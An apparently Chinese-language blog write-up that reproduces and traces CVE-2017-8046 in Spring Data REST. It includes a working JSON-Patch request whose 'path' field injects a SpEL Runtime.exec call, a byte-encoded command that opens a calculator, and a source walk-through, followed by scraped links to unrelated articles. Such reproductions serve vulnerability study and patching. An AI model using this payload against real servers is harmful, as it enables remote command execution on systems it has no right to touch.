CVE-2017-8046 复现与分析
环境搭建
使用的项目为https://github.com/spring-guides/gs-accessing-data-rest.git里面的complete,直接用IDEA导入,并修改pom.xml中版本信息为漏洞版本。这里改为1.5.6。

之前尝试搭建了另一个验证环境,但是修改版本后加载一直报错,不知道是什么原因,写完在研究下。
直接运行,默认端口8080,访问http://localhost:8080/

people类有两个属性,firstName和lastName
package hello; import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id; @Entity
public class Person { @Id
@GeneratedValue(strategy = GenerationType.AUTO)
private long id; private String firstName;
private String lastName; public String getFirstName() {
return firstName;
} public void setFirstName(String firstName) {
this.firstName = firstName;
} public String getLastName() {
return lastName;
} public void setLastName(String lastName) {
this.lastName = lastName;
}
}
根据rest api规定,用POST请求新建一个people,请求如下
POST /people HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 32
{"firstName":"w","lastName":"q"}

此时已创建一个people对象,通过GET请求可以访问对象

漏洞复现
需要用PATCH方法,而且请求格式为JSON。根据RFC 6902,发送JSON文档结构需要注意以下两点:
1、请求头为Content-Type: application/json-patch+json
2、需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割
这样我们就可以构造payload了
PATCH /people/1 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type:application/json-patch+json
Upgrade-Insecure-Requests: 1
Content-Length: 256
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]
参数path存在代码注入,可执行系统命令,这里运行的命令是open /Applications/Calculator.app,成功弹出计算器

漏洞分析
入口文件是位于org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()中

通过request.isJsonPatchRequest确定是PATCH请求之后,调用applyPatch(request.getBody(), target);。其中isJsonPatchRequest的判断方法是
public boolean isJsonPatchRequest() {
// public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");
return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
}
所以这就要求我们使用PATCH方法时,contentType要为application/json-patch+json。
继续跟踪进入到applyPatch()方法中:
<T> T applyPatch(InputStream source, T target) throws Exception {
return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}
继续跟踪进入到getPatchOperations()中:
private Patch getPatchOperations(InputStream source) {
try {
return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
} catch (Exception o_O) {
throw new HttpMessageNotReadableException(
String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
}
}
利用mapper初始化JsonPatchPatchConverter()对象之后调用convert()方法。跟踪org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()方法
public Patch convert(JsonNode jsonNode) {
if (!(jsonNode instanceof ArrayNode)) {
throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode");
} else {
ArrayNode opNodes = (ArrayNode)jsonNode;
List<PatchOperation> ops = new ArrayList(opNodes.size());
Iterator elements = opNodes.elements();
while(elements.hasNext()) {
JsonNode opNode = (JsonNode)elements.next();
String opType = opNode.get("op").textValue();
String path = opNode.get("path").textValue();
JsonNode valueNode = opNode.get("value");
Object value = this.valueFromJsonNode(path, valueNode);
String from = opNode.has("from") ? opNode.get("from").textValue() : null;
if (opType.equals("test")) {
ops.add(new TestOperation(path, value));
} else if (opType.equals("replace")) {
ops.add(new ReplaceOperation(path, value));
} else if (opType.equals("remove")) {
ops.add(new RemoveOperation(path));
} else if (opType.equals("add")) {
ops.add(new AddOperation(path, value));
} else if (opType.equals("copy")) {
ops.add(new CopyOperation(path, from));
} else {
if (!opType.equals("move")) {
throw new PatchException("Unrecognized operation type: " + opType);
}
ops.add(new MoveOperation(path, from));
}
}
return new Patch(ops);
}
}
convert()方法返回Patch()对象,其中的ops包含了我们的payload。进入到org.springframework.data.rest.webmvc.json.patch.Patch中,
public Patch(List<PatchOperation> operations) {
this.operations = operations;
}
通过上一步地分析,ops是一个List<PatchOperation>对象,每一个PatchOperation对象中包含了op、path、value三个内容。进入到PatchOperation分析其赋值情况
public PatchOperation(String op, String path, Object value) {
this.op = op;
this.path = path;
this.value = value;
this.spelExpression = pathToExpression(path);
}
进入到pathToExpression()中
public static Expression pathToExpression(String path) {
return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
}
可以看到这是一个SPEL表达式解析操作,但是在解析之前调用了pathToSpEL()。进入到pathToSpEL()中。
private static String pathToSpEL(String path) {
return pathNodesToSpEL(path.split("\\/")); // 使用/分割路径
}
private static String pathNodesToSpEL(String[] pathNodes) {
StringBuilder spelBuilder = new StringBuilder();
for (int i = 0; i < pathNodes.length; i++) {
String pathNode = pathNodes[i];
if (pathNode.length() == 0) {
continue;
}
if (APPEND_CHARACTERS.contains(pathNode)) {
if (spelBuilder.length() > 0) {
spelBuilder.append("."); // 使用.重新组合路径
}
spelBuilder.append("$[true]");
continue;
}
try {
int index = Integer.parseInt(pathNode);
spelBuilder.append('[').append(index).append(']');
} catch (NumberFormatException e) {
if (spelBuilder.length() > 0) {
spelBuilder.append('.');
}
spelBuilder.append(pathNode);
}
}
String spel = spelBuilder.toString();
if (spel.length() == 0) {
spel = "#this";
}
return spel;
}
重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()中,
T applyPatch(InputStream source, T target) throws Exception {
return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}
实际上PatchOperation是一个抽象类,实际上应该调用其实现类的perform()方法。通过动态调试分析,此时的operation实际是ReplaceOperation类的实例(这也和我们传入的replace操作是对应的)。进入到ReplaceOperation:perform()中,
<T> void perform(Object target, Class<T> type) {
setValueOnTarget(target, evaluateValueFromTarget(target, type));
}
protected void setValueOnTarget(Object target, Object value) {
spelExpression.setValue(target, value);
}
在setValueOnTarget()中会调用spelExpression对spel表示式进行解析,从而触发漏洞。
漏洞验证
明天用pocsuite写下poc,现在困了。
CVE-2017-8046 复现与分析的更多相关文章
- CVE-2020-1947 Sharding-UI的反序列化复现及分析
CVE-2020-1947 复现及分析 0x01 影响 Apache ShardingSphere < =4.0.0 0x02 环境搭建 incubator-shardingsphere 的ui ...
- CVE¬-2020-¬0796 漏洞复现(本地提权)
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...
- CVE-2020-2883漏洞复现&&流量分析
CVE-2020-2883漏洞复现&&流量分析 写在前面 网上大佬说CVE-2020-2883是CVE-2020-2555的绕过,下面就复现了抓包看看吧. 一.准备环境 靶机:win7 ...
- 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析
Weblogic CVE-2017-10271 漏洞复现&&流量分析 Weblogic CVE-2017-10271 XMLDecoder反序列化 1.Weblogic-XMLDeco ...
- CVE-2020-2555漏洞复现&&流量分析
CVE-2020-2555漏洞复现&&流量分析 一.准备环境 windows7: weblogic 12.2.1.4.0 JDK版本为jdk-8u261 关于weblogic搭建可以看 ...
- CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...
- Ecshop 2.x_3.x SQL注入和代码执行漏洞复现和分析
0x00 前言 问题发生在user.php的的显示函数,模版变量可控,导致注入,配合注入可达到远程代码执行 0x01 漏洞分析 1.SQL注入 先看user.php的$ back_act变量来源于HT ...
- 关于flink的时间处理不正确的现象复现&原因分析
跟朋友聊天,说输出的时间不对,之前测试没关注到这个,然后就在processing模式下看了下,发现时间确实不正确 然后就debug,看问题在哪,最终分析出了原因,记录如下: 最下面给出了复现方案 ...
- CVE 2019-0708漏洞复现防御修复
CVE-2019-0708 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708.攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息.执行远程代码.发 ...
随机推荐
- 撩课-Web大前端每天5道面试题-Day20
1.vue生命周期的作用是什么? 它的生命周期中有多个事件钩子,让我们在控制整个Vue实例的过程时更容易形成好的逻辑. 2. Vue实现数据双向绑定的原理:Object.defineProperty( ...
- ZAB 算法
ZAB (Zookeeper Atomic Broadcast ) zookeeper原子消息广播协议 保证:分布式数据一致性 所有事务请求必须由一个全局唯一的服务器来协调处理,这样的服务器被称为 ...
- spring Controller 层注解获取 properties 里面的值
前言:最近在做一个项目,想要在 controller 层直接通过注解 @Value("")来获取 properties 里面配置的属性. 这个其实和 springmvc.sprin ...
- python学习之老男孩python全栈第九期_day016作业
1. 请利用filter()过滤出1~100中平方根是整数的数,即结果应该是: [1, 4, 9, 16, 25, 36, 49, 64, 81, 100] import math def func( ...
- 深入浅出图解【计算机网络】 之 【TCP可靠传输的实现2: 超时重传+拥塞控制】
[前言]上一篇文章介绍了关于TCP的基础知识,以及建立(释放)连接和滑动窗口的概念. 本篇文章将延续上一篇的思路,继续介绍TCP实现可靠传输的机制. 超时重传 上一篇文章里介绍过TCP采用停止等待协议 ...
- 本地快速搭建 FTP 服务器
一.什么是FTP FTP(File Transfer Protocol)是TCP/IP网络上两台计算机传送文件的协议,使得主机间可以共享文件. 二.搭建前期准备 1.首先打开控制面板找到“程序”点击打 ...
- c++之stringstream类的用法
简介: 今天利用opecv提取每一帧图片并保存到本地指定目录下的时,对于保存的每一帧的图片希望第几帧体现在图片名中, 这里便用到了stringstream类的将数字转化为字符串这一功能 C++ Str ...
- CVE-2017-17215 - 华为HG532命令注入漏洞分析
前言 前面几天国外有个公司发布了该漏洞的详情.入手的二手 hg532 到货了,分析测试一下. 固件地址:https://ia601506.us.archive.org/22/items/RouterH ...
- 润乾V4报表批量打印
背景说明 在应用中,经常遇到,批量打印的需求,批量打印,顾名思义,就是点击一次打印按钮,能打印多张报表. 下面,我们来介绍一下怎么样实现批量打印的 应用举例: Jsp代码 <% //rep ...
- Two ways to invert a string
package com.itheima_07; import java.util.Scanner; /* * 字符串反转 * 举例:键盘录入”abc” * 输出结果:”cba” * * 分析: * A ...